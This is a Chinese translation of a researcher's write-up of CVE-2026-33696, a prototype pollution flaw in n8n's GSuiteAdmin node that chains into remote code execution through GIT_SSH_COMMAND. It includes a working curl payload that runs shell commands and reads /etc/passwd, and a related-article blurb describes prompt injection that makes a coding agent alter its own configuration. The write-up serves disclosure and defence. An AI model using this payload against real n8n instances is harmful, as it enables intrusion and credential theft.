CVE-2026-33696:从模式名称到 n8n 中的远程代码执行
摘要
这个 CVE 描述了 n8n 中的一个原型污染漏洞,可通过 Git 节点利用链被利用以实现远程代码执行。
<p><a href="https://lobste.rs/s/0emxj9/cve_2026_33696_from_schema_name_rce_n8n">评论</a></p>
查看缓存全文
缓存时间: 2026/08/16 17:58
# 从 Schema 名称到 n8n 远程代码执行
来源:https://simonkoeck.com/writeups/n8n-gsuiteadmin-prototype-pollution-rce
## 我是如何发现的
在审计 n8n 的节点实现时,我开始寻找用户提供的字符串作为普通对象属性键的位置。
我寻找的模式很简单:任何用户提供的字符串在未事先检查`__proto__`、`constructor`或`prototype`的情况下,作为普通对象属性键的位置。我检索了 nodes-base 包,GSuiteAdmin 节点立即引起了我的注意。
该节点在用户**创建**和**更新**操作中有一个“自定义字段”部分。它允许您指定架构名称、字段名称和值。这三者都来自工作流配置,这意味着拥有编辑权限的攻击者可以完全控制它们。架构名称被直接用作字段分组的动态键:
```
customSchemas[schemaName] ??= {};
(customSchemas[schemaName] as IDataObject)[fieldName] = value;
```
这就是整个漏洞。如果 `schemaName` 是 `"__proto__"`,你就将内容写入了 `Object.prototype`。
## 技术细节
### 漏洞代码
GSuiteAdmin 节点在用户**创建**(第 520-521 行)和**更新**(第 802-803 行)操作中处理自定义架构字段时使用了相同的代码:
```
const customSchemas: IDataObject = {};
customFields.forEach((field) => {
const { schemaName, fieldName, value } = field as {
schemaName: string;
fieldName: string;
value: string;
};
customSchemas[schemaName] ??= {}; // (1)
(customSchemas[schemaName] as IDataObject)[fieldName] = value; // (2)
});
```
当 `schemaName` 为 `"__proto__"` 时:
1. `customSchemas["__proto__"]` 触发了 `__proto__` getter,它返回 `Object.prototype`。它不是空值,因此 `??=` 赋值是一个空操作。
2. `(Object.prototype)[fieldName] = value` 将攻击者控制的字符串直接写入到全局对象原型上。
此后创建的每个普通对象都将继承被污染的属性。
### 从原型污染到代码执行
仅污染本身就已很危险(它通过 TypeORM 使整个 n8n 实例崩溃。下文详述),但它还可以通过我在 XML 节点报告中发现的完全相同的利用链,链式攻击实现完整的 RCE。
利用链的工作原理如下:
1. **simple-git 创建一个普通的 env 对象。**当 Git 节点调用 `.env()` 时,simple-git 分配一个 `{}` 来保存环境变量。该对象继承自 `Object.prototype`。
2. **Node.js 的 `spawn()` 继承被污染的属性。**在构建子进程环境时,Node.js 遍历 env 对象的属性。包括从被污染原型继承来的属性。
3. **Git 尊重 `GIT_SSH_COMMAND`。**当 git 遇到 SSH 风格的 URL 时,它会将 `GIT_SSH_COMMAND` 作为 shell 命令执行。如果我们污染 `Object.prototype.GIT_SSH_COMMAND`,它将传播到 git 子进程中并被执行。
因此,完整的攻击路径是:**Webhook → GSuiteAdmin(污染) → Git(远程代码执行)**。
### 概念验证
工作流设置:
1. **Webhook 节点**。`POST /rce`
2. **GSuiteAdmin 节点**。资源:用户,操作:创建。将自定义字段的架构名称、字段名称和值设置为从 webhook 读取的表达式。
3. **Git 节点**。操作:克隆,指向一个 SSH URL。
一个 HTTP 请求即可触发整个链条:
```
curl -X POST "https://TARGET/webhook/rce" \
-H "Content-Type: application/json" \
-d '{
"schemaName": "__proto__",
"fieldName": "GIT_SSH_COMMAND",
"value": "sh -c '\''id; cat /etc/passwd'\'' --"
}'
```
GSuiteAdmin 节点在调用 Google API 时失败(这并不重要,污染在请求发送之前就已发生),然后 Git 节点使用被污染的 `GIT_SSH_COMMAND` 启动 `git clone`,以 n8n 进程用户的身份执行攻击者的命令。
### 拒绝服务副作用
即使没有 RCE 链,污染本身也具有破坏性。在 `Object.prototype` 被污染后,TypeORM 的 `buildWhere` 函数通过 `for...in` 迭代会拾取额外的属性,并在每个数据库查询时抛出 `EntityPropertyNotFoundError`。n8n UI 会停止响应,所有工作流执行都会失败,实例需要完全重启才能恢复。
## 影响
- **远程代码执行**:以 n8n 进程用户身份在所有部署类型(自托管、Worker 模式、Cloud)上执行代码。
- **凭证完全窃取**:n8n 进程持有所有存储凭证的加密密钥。
- **完全拒绝服务**:TypeORM 崩溃循环使实例在重启前无法使用。
修复很简单:在将危险属性名称用作对象键之前拒绝它们。在 `schemaName` 值上对 `__proto__`、`constructor` 和 `prototype` 进行黑名单检查(或为 `customSchemas` 使用 `Object.create(null)`)将完全防止污染。
n8n 的代码库已经有一个带有原型污染防护的 `deepMerge` 工具。GSuiteAdmin 节点只是没有使用它。
## 时间线
1. 2025-02-26 向 n8n 安全团队提交报告
2. 2025-03-25 发布安全公告和 CVE
相似文章
Notepad++ 零点击远程代码执行漏洞(路径遍历,CVE-2026-52884)
CVE-2026-52884 描述了 Notepad++ 中一个通过路径遍历触发的零点击远程代码执行漏洞,影响 Windows 用户。
利用一个18年前的漏洞实现NGINX远程代码执行
研究人员利用自动化系统发现NGINX重写模块中一个自2008年以来存在的严重堆缓冲区溢出漏洞(CVE-2026-42945),可实现远程代码执行。多个CVE已获NGINX确认。
CVE-2026-40369: 通过NtQuerySystemInformation实现任意内核地址递增
CVE-2026-40369 描述了 Windows 内核中 NtQuerySystemInformation 函数的一个漏洞,该漏洞允许任意内核地址递增,使无特权的进程(包括 Chrome 沙箱)能够提升权限。该利用在 Windows 11 24H2-25H2 上是确定性的。
@aacle_: 一次注入,一次配置写入,就能在开发者机器上实现完全远程代码执行。这就是 CVE-2025-53773,也是……背后的模式。
本文剖析了 CVE-2025-53773 背后的 MCP 安全攻击链:一次简单的提示注入就能让开发代理修改自身配置并实现远程代码执行。文章详细介绍了逐跳升级的过程以及阻止它的关键控制措施。
AI工作空间劫持:Jscrambler NPM攻击剖析
攻击者劫持了Jscrambler的NPM凭证,发布了恶意版本,利用一个未记录的基于Rust的信息窃取器,从Cursor和Claude Desktop等AI工具中窃取API密钥和开发者历史记录。